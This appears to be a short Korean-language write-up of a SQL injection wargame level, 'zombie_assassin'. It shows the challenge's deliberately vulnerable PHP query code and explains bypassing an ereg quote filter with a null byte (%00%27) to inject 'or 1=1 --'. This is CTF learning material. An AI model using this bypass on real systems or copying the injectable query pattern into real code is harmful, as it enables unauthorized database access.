<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(@ereg("'",$_GET[id])) exit("HeHe");
if(@ereg("'",$_GET[pw])) exit("HeHe");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
쿼리에서 '를 쓸 수 없는데 '로 둘러쌓인 이 쿼리를 어떻게 파괴할 것 인가?
ereg를 파괴하지 않으면 안된다. ereg가 왜 deprecated가 됐을까? 바로 취약점이 있기 때문이다.
null byte에 대한 검사를 ereg는 수행하질 못한다. 그래서, %00%27 이런식으로만 적어줘도 가볍게 넘을 수 있다
select id from prob_zombie_assassin where id='admin' and pw='' or 1=1 -- a'